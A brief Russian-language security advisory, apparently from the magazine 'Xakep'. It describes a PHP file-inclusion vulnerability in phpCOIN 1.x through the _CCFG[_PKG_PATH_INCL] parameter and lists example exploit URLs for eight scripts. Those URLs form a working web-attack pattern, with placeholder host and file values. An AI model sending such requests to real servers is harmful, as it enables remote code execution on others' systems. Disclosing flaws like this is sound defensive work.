PHP-инклюдинг в phpCOIN

Рекомендуем почитать:

Xakep #304. IP-камеры на пентестах

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: phpCOIN 1.x

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "CCFG[_PKG_PATH_INCL]" сразу нескольких скриптов.

Пример:

http://[host]/coin_includes/api.php?_CCFG[_PKG_PATH_INCL]=[file]
http://[host]/coin_includes/common.php?_CCFG[_PKG_PATH_INCL]=[file]
http://[host]/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=[file]
http://[host]/coin_includes/core.php?_CCFG[_PKG_PATH_INCL]=[file]
http://[host]/coin_includes/custom.php?_CCFG[_PKG_PATH_INCL]=[file]
http://[host]/coin_includes/db.php?_CCFG[_PKG_PATH_INCL]=[file]
http://[host]/coin_includes/redirect.php?_CCFG[_PKG_PATH_INCL]=[file]
http://[host]/coin_includes/session_set.php?_CCFG[_PKG_PATH_INCL]=[file]